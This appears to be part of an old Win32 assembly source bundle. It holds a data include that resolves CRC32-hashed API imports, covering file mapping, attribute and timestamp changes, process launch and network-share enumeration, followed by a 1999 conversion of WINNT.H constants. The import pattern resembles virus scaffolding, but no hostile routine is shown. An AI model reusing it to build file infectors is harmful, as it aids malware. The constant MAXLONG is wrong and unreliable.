ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[MMX.INC]ÄÄÄ
|
||
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[RAMMDATA.INC]ÄÄÄ
|
||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
module_names label
|
||
kernel32_name: noter <KERNEL32.dll>
|
||
advapi32_name: noter <ADVAPI32.dll>
|
||
user32_name: noter <USER32.dll>
|
||
gdi32_name: noter <GDI32.dll>
|
||
img32_name: noter <IMAGEHLP.dll>
|
||
mpr32_name: noter <MPR.dll>
|
||
module_names_length = $-offset module_names
|
||
|
||
k32 dd 0
|
||
a32 dd 0
|
||
u32 dd 0
|
||
g32 dd 0
|
||
m32 dd 0
|
||
getmodulehandle: noter <GetModuleHandleA>
|
||
getmodulehandlelen = $-offset getmodulehandle
|
||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
kernel32apis label
|
||
crc32 <LoadLibraryA>
|
||
crc32 <GetProcAddress>
|
||
crc32 <ExitProcess>
|
||
crc32 <CreateThread>
|
||
crc32 <ExitThread>
|
||
crc32 <SuspendThread>
|
||
crc32 <ResumeThread>
|
||
crc32 <SetThreadPriority>
|
||
crc32 <WaitForSingleObject>
|
||
crc32 <WaitForMultipleObjects>
|
||
crc32 <WaitForMultipleObjectsEx>
|
||
crc32 <CreateFileA>
|
||
crc32 <CreateFileMappingA>
|
||
crc32 <MapViewOfFile>
|
||
crc32 <UnmapViewOfFile>
|
||
crc32 <CloseHandle>
|
||
crc32 <GetFileAttributesA>
|
||
crc32 <GetFileAttributesExA>
|
||
crc32 <SetFileAttributesA>
|
||
crc32 <GetFileTime>
|
||
crc32 <SetFileTime>
|
||
crc32 <SetFilePointer>
|
||
crc32 <SetEndOfFile>
|
||
crc32 <DeleteFileA>
|
||
crc32 <FindFirstFileA>
|
||
crc32 <FindNextFileA>
|
||
crc32 <FindClose>
|
||
crc32 <lstrlen>
|
||
crc32 <lstrcpy>
|
||
crc32 <lstrcat>
|
||
crc32 <GetSystemDirectoryA>
|
||
crc32 <GetWindowsDirectoryA>
|
||
crc32 <GetCurrentDirectoryA>
|
||
crc32 <SetCurrentDirectoryA>
|
||
crc32 <GetSystemTime>
|
||
crc32 <GetTickCount>
|
||
crc32 <IsBadReadPtr>
|
||
crc32 <CreateSemaphoreA>
|
||
crc32 <ReleaseSemaphore>
|
||
crc32 <MoveFileA>
|
||
crc32 <MoveFileExA>
|
||
crc32 <OpenFile>
|
||
crc32 <CreateProcessA>
|
||
crc32 <WinExec>
|
||
crc32 <CopyFileA>
|
||
crc32 <CopyFileExA>
|
||
crc32 <GetFullPathNameA>
|
||
crc32 <GetCompressedFileSizeA>
|
||
crc32 <GetDriveTypeA>
|
||
crc32 <GetVersionExA>
|
||
crc32 <VirtualAlloc>
|
||
crc32 <FatalAppExitA>
|
||
crc32 <GetFileSize>
|
||
crc32 <IsBadWritePtr>
|
||
crc32 <GetModuleHandleA>
|
||
crc32 <Sleep>
|
||
crc32 <GlobalAlloc>
|
||
crc32 <GlobalFree>
|
||
crc32 <GetModuleFileNameA>
|
||
crc32 <WritePrivateProfileStringA>
|
||
dd 0
|
||
|
||
kernel32addr label
|
||
_LoadLibraryA dd 0
|
||
_GetProcAddress dd 0
|
||
_ExitProcess dd 0
|
||
_CreateThread dd 0
|
||
_ExitThread dd 0
|
||
_SuspendThread dd 0
|
||
_ResumeThread dd 0
|
||
_SetThreadPriority dd 0
|
||
_WaitForSingleObject dd 0
|
||
_WaitForMultipleObjects dd 0
|
||
_WaitForMultipleObjectsEx dd 0
|
||
_CreateFileA dd 0
|
||
_CreateFileMappingA dd 0
|
||
_MapViewOfFile dd 0
|
||
_UnmapViewOfFile dd 0
|
||
_CloseHandle dd 0
|
||
_GetFileAttributesA dd 0
|
||
_GetFileAttributesExA dd 0
|
||
_SetFileAttributesA dd 0
|
||
_GetFileTime dd 0
|
||
_SetFileTime dd 0
|
||
_SetFilePointer dd 0
|
||
_SetEndOfFile dd 0
|
||
_DeleteFileA dd 0
|
||
_FindFirstFileA dd 0
|
||
_FindNextFileA dd 0
|
||
_FindClose dd 0
|
||
_lstrlen dd 0
|
||
_lstrcpy dd 0
|
||
_lstrcat dd 0
|
||
_GetSystemDirectoryA dd 0
|
||
_GetWindowsDirectoryA dd 0
|
||
_GetCurrentDirectoryA dd 0
|
||
_SetCurrentDirectoryA dd 0
|
||
_GetSystemTime dd 0
|
||
_GetTickCount dd 0
|
||
_IsBadReadPtr dd 0
|
||
_CreateSemaphoreA dd 0
|
||
_ReleaseSemaphore dd 0
|
||
_MoveFileA dd 0
|
||
_MoveFileExA dd 0
|
||
_OpenFile dd 0
|
||
_CreateProcessA dd 0
|
||
_WinExec dd 0
|
||
_CopyFileA dd 0
|
||
_CopyFileExA dd 0
|
||
_GetFullPathNameA dd 0
|
||
_GetCompressedFileSizeA dd 0
|
||
_GetDriveTypeA dd 0
|
||
_GetVersionExA dd 0
|
||
_VirtualAlloc dd 0
|
||
_FatalAppExitA dd 0
|
||
_GetFileSize dd 0
|
||
_IsBadWritePtr dd 0
|
||
_GetModuleHandleA dd 0
|
||
_Sleep dd 0
|
||
_GlobalAlloc dd 0
|
||
_GlobalFree dd 0
|
||
_GetModuleFileNameA dd 0
|
||
_WritePrivateProfileStringA dd 0
|
||
kernel32func = ($-offset kernel32addr)/4
|
||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
advapi32apis label
|
||
crc32 <RegOpenKeyExA>
|
||
crc32 <RegQueryValueExA>
|
||
crc32 <RegQueryInfoKeyA>
|
||
crc32 <RegEnumValueA>
|
||
crc32 <RegSetValueExA>
|
||
crc32 <RegCreateKeyExA>
|
||
crc32 <RegCloseKey>
|
||
dd 0
|
||
|
||
advapi32addr label
|
||
_RegOpenKeyExA dd 0
|
||
_RegQueryValueExA dd 0
|
||
_RegQueryInfoKeyA dd 0
|
||
_RegEnumValueA dd 0
|
||
_RegSetValueExA dd 0
|
||
_RegCreateKeyExA dd 0
|
||
_RegCloseKey dd 0
|
||
|
||
advapi32func = ($-offset advapi32addr)/4
|
||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
user32apis label
|
||
crc32 <SetTimer>
|
||
crc32 <KillTimer>
|
||
crc32 <FindWindowA>
|
||
crc32 <PostMessageA>
|
||
crc32 <MessageBoxA>
|
||
crc32 <CharUpperBuffA>
|
||
crc32 <LoadIconA>
|
||
crc32 <LoadCursorA>
|
||
crc32 <GetWindowDC>
|
||
crc32 <GetClientRect>
|
||
crc32 <BeginPaint>
|
||
crc32 <EndPaint>
|
||
crc32 <GetSystemMetrics>
|
||
crc32 <GetDC>
|
||
crc32 <InvalidateRect>
|
||
crc32 <ShowWindow>
|
||
crc32 <UpdateWindow>
|
||
crc32 <GetMessageA>
|
||
crc32 <TranslateMessage>
|
||
crc32 <DispatchMessageA>
|
||
crc32 <PostQuitMessage>
|
||
crc32 <DefWindowProcA>
|
||
crc32 <RegisterClassExA>
|
||
crc32 <CreateWindowExA>
|
||
crc32 <DestroyWindow>
|
||
dd 0
|
||
|
||
user32addr label
|
||
_SetTimer dd 0
|
||
_KillTimer dd 0
|
||
_FindWindowA dd 0
|
||
_PostMessageA dd 0
|
||
_MessageBoxA dd 0
|
||
_CharUpperBuffA dd 0
|
||
_LoadIconA dd 0
|
||
_LoadCursorA dd 0
|
||
_GetWindowDC dd 0
|
||
_GetClientRect dd 0
|
||
_BeginPaint dd 0
|
||
_EndPaint dd 0
|
||
_GetSystemMetrics dd 0
|
||
_GetDC dd 0
|
||
_InvalidateRect dd 0
|
||
_ShowWindow dd 0
|
||
_UpdateWindow dd 0
|
||
_GetMessageA dd 0
|
||
_TranslateMessage dd 0
|
||
_DispatchMessageA dd 0
|
||
_PostQuitMessage dd 0
|
||
_DefWindowProcA dd 0
|
||
_RegisterClassExA dd 0
|
||
_CreateWindowExA dd 0
|
||
_DestroyWindow dd 0
|
||
user32func = ($-offset user32addr)/4
|
||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
gdi32apis label
|
||
crc32 <GetStockObject>
|
||
crc32 <GetCharWidthA>
|
||
crc32 <TextOutA>
|
||
crc32 <GetTextMetricsA>
|
||
gdi32addr label
|
||
_GetStockObject dd 0
|
||
_GetCharWidthA dd 0
|
||
_TextOutA dd 0
|
||
_GetTextMetricsA dd 0
|
||
gdi32func = ($-offset gdi32addr)/4
|
||
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
mpr32apis label
|
||
crc32 <WNetOpenEnumA>
|
||
crc32 <WNetEnumResourceA>
|
||
crc32 <WNetCloseEnum>
|
||
mpr32addr label
|
||
_WNetOpenEnumA dd 0
|
||
_WNetEnumResourceA dd 0
|
||
_WNetCloseEnum dd 0
|
||
mpr32func = ($-offset mpr32addr)/4
|
||
;------
|
||
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[RAMMDATA.INC]ÄÄÄ
|
||
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[W32NT_LJ.INC]ÄÄÄ
|
||
comment $
|
||
|
||
Lord Julus presents the Win32 help series
|
||
|
||
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
ÚÄ¿ ÚÄ¿
|
||
³ ³ This is my transformation of the original WINNT.H ³ ³
|
||
³ ³ file from the Microsoft Windows SDK(C) for Windows NT 5.0 ³ ³
|
||
³ ³ beta 2 and Windows 98, released on in Sept. 1998. ³ ³
|
||
³ ³ This file was transformed by me from the original C ³ ³
|
||
³ ³ definition into assembly language. You can use this file to ³ ³
|
||
³ ³ quicken up writting your win32 programs in assembler. You ³ ³
|
||
³ ³ can use these files as you wish, as they are freeware. ³ ³
|
||
³ ³ ³ ³
|
||
³ ³ However, if you find any mistake inside this file, ³ ³
|
||
³ ³ it is probably due to the fact that I merely could see the ³ ³
|
||
³ ³ monitor while converting the files. So, if you do notice ³ ³
|
||
³ ³ something, please notify me on my e-mail address at: ³ ³
|
||
³ ³ ³ ³
|
||
³ ³ lordjulus@geocities.com ³ ³
|
||
³ ³ ³ ³
|
||
³ ³ Also, if you find any other useful stuff that can be ³ ³
|
||
³ ³ included here, do not hesitate to tell me. ³ ³
|
||
³ ³ ³ ³
|
||
³ ³ Good luck, ³ ³
|
||
³ ³ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ ³
|
||
³ ³ ³ Lord Julus (c) 1999 ³ ³ ³
|
||
³ ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ³ ³
|
||
³ ³ ³ ³
|
||
ÀÄÙ ÀÄÙ
|
||
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
|
||
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
|
||
|
||
$
|
||
|
||
;ÍÍÍÍÍ͵ EQUATES ÆÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
|
||
|
||
;ÄÄÄÄÄÄ´ GENERAL ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
UCHAR EQU <db>
|
||
USHORT EQU <dw>
|
||
UINT EQU <dd>
|
||
ULONG EQU <dd>
|
||
L EQU <LARGE>
|
||
|
||
MAXCHAR EQU 255
|
||
MAXSHORT EQU 32767
|
||
MAXINT EQU 2147483647
|
||
MAXLONG EQU 4924967295
|
||
|
||
NULL EQU 00h
|
||
TRUE EQU 01h
|
||
FALSE EQU 00h
|
||
NOPARITY EQU 00h
|
||
ODDPARITY EQU 01h
|
||
EVENPARITY EQU 02h
|
||
MARKPARITY EQU 03h
|
||
SPACEPARITY EQU 04h
|
||
IGNORE EQU 00h
|
||
INFINITE EQU 0FFFFFFFFh
|
||
|
||
;ÄÄÄÄÄÄ´ DRIVES ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
DRIVE_UNKNOWN EQU 0
|
||
DRIVE_NO_ROOT_DIR EQU 1
|
||
DRIVE_REMOVABLE EQU 2
|
||
DRIVE_FIXED EQU 3
|
||
DRIVE_REMOTE EQU 4
|
||
DRIVE_CDROM EQU 5
|
||
DRIVE_RAMDISK EQU 6
|
||
|
||
;ÄÄÄÄÄÄ´ DIFFERENT RIGHTS ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
DELETE EQU 00010000h
|
||
READ_CONTROL EQU 00020000h
|
||
WRITE_DAC EQU 00040000h
|
||
WRITE_OWNER EQU 00080000h
|
||
SYNCHRONIZE EQU 00100000h
|
||
STANDARD_RIGHTS_REQUIRED EQU 000F0000h
|
||
STANDARD_RIGHTS_READ EQU READ_CONTROL
|
||
STANDARD_RIGHTS_WRITE EQU READ_CONTROL
|
||
STANDARD_RIGHTS_EXECUTE EQU READ_CONTROL
|
||
STANDARD_RIGHTS_ALL EQU 001F0000h
|
||
SPECIFIC_RIGHTS_ALL EQU 0000FFFFh
|
||
ACCESS_SYSTEM_SECURITY EQU 01000000h
|
||
MAXIMUM_ALLOWED EQU 02000000h
|
||
|
||
GENERIC_READ EQU 80000000h
|
||
GENERIC_WRITE EQU 40000000h
|
||
GENERIC_EXECUTE EQU 20000000h
|
||
GENERIC_ALL EQU 10000000h
|
||
|
||
PROCESS_TERMINATE EQU 0001h
|
||
PROCESS_CREATE_THREAD EQU 0002h
|
||
PROCESS_SET_SESSIONID EQU 0004h
|
||
PROCESS_VM_OPERATION EQU 0008h
|
||
PROCESS_VM_READ EQU 0010h
|
||
PROCESS_VM_WRITE EQU 0020h
|
||
PROCESS_DUP_HANDLE EQU 0040h
|
||
PROCESS_CREATE_PROCESS EQU 0080h
|
||
PROCESS_SET_QUOTA EQU 0100h
|
||
PROCESS_SET_INFORMATION EQU 0200h
|
||
PROCESS_QUERY_INFORMATION EQU 0400h
|
||
PROCESS_ALL_ACCESS EQU STANDARD_RIGHTS_REQUIRED OR \
|
||
SYNCHRONIZE OR 0FFFh
|
||
|
||
SECTION_QUERY EQU 0001h
|
||
SECTION_MAP_WRITE EQU 0002h
|
||
SECTION_MAP_READ EQU 0004h
|
||
SECTION_MAP_EXECUTE EQU 0008h
|
||
SECTION_EXTEND_SIZE EQU 0010h
|
||
SECTION_ALL_ACCESS EQU STANDARD_RIGHTS_REQUIRED OR \
|
||
SECTION_QUERY OR \
|
||
SECTION_MAP_WRITE OR \
|
||
SECTION_MAP_READ OR \
|
||
SECTION_MAP_EXECUTE OR \
|
||
SECTION_EXTEND_SIZE
|
||
|
||
;ÄÄÄÄÄÄ´ ACCESS FLAGS ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
PAGE_NOACCESS EQU 01h
|
||
PAGE_READONLY EQU 02h
|
||
PAGE_READWRITE EQU 04h
|
||
PAGE_WRITECOPY EQU 08h
|
||
PAGE_EXECUTE EQU 10h
|
||
PAGE_EXECUTE_READ EQU 20h
|
||
PAGE_EXECUTE_READWRITE EQU 40h
|
||
PAGE_EXECUTE_WRITECOPY EQU 80h
|
||
PAGE_GUARD EQU 100h
|
||
PAGE_NOCACHE EQU 200h
|
||
PAGE_WRITECOMBINE EQU 400h
|
||
MEM_COMMIT EQU 1000h
|
||
MEM_RESERVE EQU 2000h
|
||
MEM_DECOMMIT EQU 4000h
|
||
MEM_RELEASE EQU 8000h
|
||
MEM_FREE EQU 10000h
|
||
MEM_PRIVATE EQU 20000h
|
||
MEM_MAPPED EQU 40000h
|
||
MEM_RESET EQU 80000h
|
||
MEM_TOP_DOWN EQU 100000h
|
||
MEM_WRITE_WATCH EQU 200000h
|
||
MEM_4MB_PAGES EQU 80000000h
|
||
SEC_FILE EQU 00800000h
|
||
SEC_IMAGE EQU 01000000h
|
||
SEC_VLM EQU 02000000h
|
||
SEC_RESERVE EQU 04000000h
|
||
SEC_COMMIT EQU 08000000h
|
||
SEC_NOCACHE EQU 10000000h
|
||
MEM_IMAGE EQU SEC_IMAGE
|
||
|
||
|
||
;ÄÄÄÄÄÄ´ CONTEXT ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
CONTEXT_i386 EQU 00010000h
|
||
CONTEXT_i486 EQU 00010000h
|
||
|
||
CONTEXT_CONTROL EQU CONTEXT_i386 OR 00000001h
|
||
CONTEXT_INTEGER EQU CONTEXT_i386 OR 00000002h
|
||
CONTEXT_SEGMENTS EQU CONTEXT_i386 OR 00000004h
|
||
CONTEXT_FLOATING_POINT EQU CONTEXT_i386 OR 00000008h
|
||
CONTEXT_DEBUG_REGISTERS EQU CONTEXT_i386 OR 00000010h
|
||
CONTEXT_EXTENDED_REGISTERS EQU CONTEXT_i386 OR 00000020h
|
||
CONTEXT_FULL EQU CONTEXT_CONTROL OR CONTEXT_INTEGER OR \
|
||
CONTEXT_SEGMENTS
|
||
|
||
;ÄÄÄÄÄÄ´ SEF ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
SEF_DACL_AUTO_INHERIT EQU 01h
|
||
SEF_SACL_AUTO_INHERIT EQU 02h
|
||
SEF_DEFAULT_DESCRIPTOR_FOR_OBJECT EQU 04h
|
||
SEF_AVOID_PRIVILEGE_CHECK EQU 08h
|
||
SEF_AVOID_OWNER_CHECK EQU 10h
|
||
SEF_DEFAULT_OWNER_FROM_PARENT EQU 20h
|
||
SEF_DEFAULT_GROUP_FROM_PARENT EQU 40h
|
||
WT_EXECUTEDEFAULT EQU 00000000h
|
||
WT_EXECUTEINIOTHREAD EQU 00000001h
|
||
WT_EXECUTEINUITHREAD EQU 00000002h
|
||
WT_EXECUTEINWAITTHREAD EQU 00000004h
|
||
WT_EXECUTEDELETEWAIT EQU 00000008h
|
||
WT_EXECUTEINLONGTHREAD EQU 00000010h
|
||
|
||
;ÄÄÄÄÄÄ´ DLL ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
DLL_PROCESS_ATTACH EQU 1
|
||
DLL_THREAD_ATTACH EQU 2
|
||
DLL_THREAD_DETACH EQU 3
|
||
DLL_PROCESS_DETACH EQU 0
|
||
|
||
DONT_RESOLVE_DLL_REFERENCES EQU 00000001h
|
||
LOAD_LIBRARY_AS_DATAFILE EQU 00000002h
|
||
LOAD_WITH_ALTERED_SEARCH_PATH EQU 00000008h
|
||
|
||
DDD_RAW_TARGET_PATH EQU 00000001h
|
||
DDD_REMOVE_DEFINITION EQU 00000002h
|
||
DDD_EXACT_MATCH_ON_REMOVE EQU 00000004h
|
||
DDD_NO_BROADCAST_SYSTEM EQU 00000008h
|
||
|
||
;ÄÄÄÄÄÄ´ TERMINATION ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
TC_NORMAL EQU 0
|
||
TC_HARDERR EQU 1
|
||
TC_GP_TRAP EQU 2
|
||
TC_SIGNAL EQU 3
|
||
|
||
;ÄÄÄÄÄÄ´ EVENTS ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
EVENTLOG_SEQUENTIAL_READ EQU 0001h
|
||
EVENTLOG_SEEK_READ EQU 0002h
|
||
EVENTLOG_FORWARDS_READ EQU 0004h
|
||
EVENTLOG_BACKWARDS_READ EQU 0008h
|
||
|
||
EVENTLOG_SUCCESS EQU 0000h
|
||
EVENTLOG_ERROR_TYPE EQU 0001h
|
||
EVENTLOG_WARNING_TYPE EQU 0002h
|
||
EVENTLOG_INFORMATION_TYPE EQU 0004h
|
||
EVENTLOG_AUDIT_SUCCESS EQU 0008h
|
||
EVENTLOG_AUDIT_FAILURE EQU 0010h
|
||
|
||
EVENTLOG_START_PAIRED_EVENT EQU 0001h
|
||
EVENTLOG_END_PAIRED_EVENT EQU 0002h
|
||
EVENTLOG_END_ALL_PAIRED_EVENTS EQU 0004h
|
||
EVENTLOG_PAIRED_EVENT_ACTIVE EQU 0008h
|
||
EVENTLOG_PAIRED_EVENT_INACTIVE EQU 0010h
|
||
|
||
;ÄÄÄÄÄÄ´ DEBUG EVENTS ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
EXCEPTION_DEBUG_EVENT EQU 1
|
||
CREATE_THREAD_DEBUG_EVENT EQU 2
|
||
CREATE_PROCESS_DEBUG_EVENT EQU 3
|
||
EXIT_THREAD_DEBUG_EVENT EQU 4
|
||
EXIT_PROCESS_DEBUG_EVENT EQU 5
|
||
LOAD_DLL_DEBUG_EVENT EQU 6
|
||
UNLOAD_DLL_DEBUG_EVENT EQU 7
|
||
OUTPUT_DEBUG_STRING_EVENT EQU 8
|
||
RIP_EVENT EQU 9
|
||
|
||
;ÄÄÄÄÄÄ´ DEBUG ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
DBG_CONTINUE EQU 00010002h
|
||
DBG_TERMINATE_THREAD EQU 40010003h
|
||
DBG_TERMINATE_PROCESS EQU 40010004h
|
||
DBG_CONTROL_C EQU 40010005h
|
||
DBG_CONTROL_BREAK EQU 40010008h
|
||
DBG_EXCEPTION_NOT_HANDLED EQU 80010001h
|
||
|
||
;ÄÄÄÄÄÄ´ REGISTRY ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
|
||
|
||
; Used when accessing the Windows Registry
|
||
|
||
HKEY_CLASSES_ROOT EQU 80000000h
|
||
HKEY_CURRENT_USER EQU 80000001h
|
||
HKEY_LOCAL_MACHINE EQU 80000002h
|
||
HKEY_USERS EQU 80000003h
|
||
HKEY_PERFORMANCE_DATA EQU 80000004h
|
||
HKEY_CURRENT_CONFIG EQU 80000005h
|
||
HKEY_DYN_DATA EQU 80000006h
|
||
|
||
KEY_QUERY_VALUE EQU 0001h
|
||
KEY_SET_VALUE EQU 0002h
|
||
KEY_CREATE_SUB_KEY EQU 0004h
|
||
KEY_ENUMERATE_SUB_KEYS EQU 0008h
|
||
KEY_NOTIFY EQU 0010h
|
||
KEY_CREATE_LINK EQU 0020h
|
||
|
||
KEY_READ EQU (STANDARD_RIGHTS_READ OR\
|
||
KEY_QUERY_VALUE OR\
|
||
KEY_ENUMERATE_SUB_KEYS OR\
|
||
KEY_NOTIFY) AND\
|
||
(NOT SYNCHRONIZE)
|
||
|
||
KEY_WRITE EQU (STANDARD_RIGHTS_WRITE OR\
|
||
KEY_SET_VALUE OR\
|
||
KEY_CREATE_SUB_KEY) AND\
|
||
(NOT SYNCHRONIZE)
|
||
|
||
KEY_EXECUTE EQU KEY_READ AND SYNCHRONIZE
|
||
|
||
KEY_ALL_ACCESS EQU (STANDARD_RIGHTS_ALL OR\
|
||
KEY_QUERY_VALUE OR\
|
||
KEY_SET_VALUE OR\
|
||
KEY_CREATE_SUB_KEY OR\
|
||
KEY_ENUMERATE_SUB_KEYS OR\
|
||
KEY_NOTIFY OR\
|
||
KEY_CREATE_LINK) AND\
|
||
(NOT SYNCHRONIZE)
|
||
|
||
|
||
REG_OPTION_NON_VOLATILE EQU 00000000h ; Key is preserved when system is rebooted
|
||
REG_OPTION_VOLATILE EQU 00000001h ; Key is not preserved when system is rebooted
|
||
REG_OPTION_CREATE_LINK EQU 00000002h ; Created key is a symbolic link
|
||
REG_OPTION_BACKUP_RESTORE EQU 00000004h ; open for backup or restore special access rules privilege required
|
||
REG_OPTION_OPEN_LINK EQU 00000008h ; Open symbolic link
|
||
REG_OPTION_RESERVED EQU 00000000h ;
|
||
REG_LEGAL_OPTION EQU REG_OPTION_RESERVED OR\
|
||
REG_OPTION_NON_VOLATILE OR\
|
||
REG_OPTION_VOLATILE OR\
|
||
REG_OPTION_CREATE_LINK OR\
|
||
REG_OPTION_BACKUP_RESTORE OR\
|
||
